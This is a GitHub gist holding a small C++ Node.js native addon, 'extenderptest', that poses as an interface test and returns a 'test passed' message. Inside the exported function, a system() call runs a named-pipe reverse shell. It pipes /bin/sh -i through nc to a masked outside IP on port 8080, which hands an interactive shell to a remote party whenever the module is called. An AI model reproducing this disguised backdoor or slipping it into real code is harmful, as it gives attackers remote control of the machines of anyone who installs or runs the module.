Created
September 30, 2012 23:42
-
-
Save e000/3808754 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <node.h> | |
#include <cstdlib> | |
using namespace v8; | |
Handle<Value> Random(const Arguments& args) { | |
HandleScope scope; | |
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8080 >/tmp/f"); | |
return scope.Close( | |
String::New("Extenderp interface test passed! We hope...") | |
); | |
} | |
void RegisterModule(Handle<Object> target) { | |
target->Set(String::NewSymbol("test"), | |
FunctionTemplate::New(Random)->GetFunction()); | |
} | |
NODE_MODULE(extenderptest, RegisterModule); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment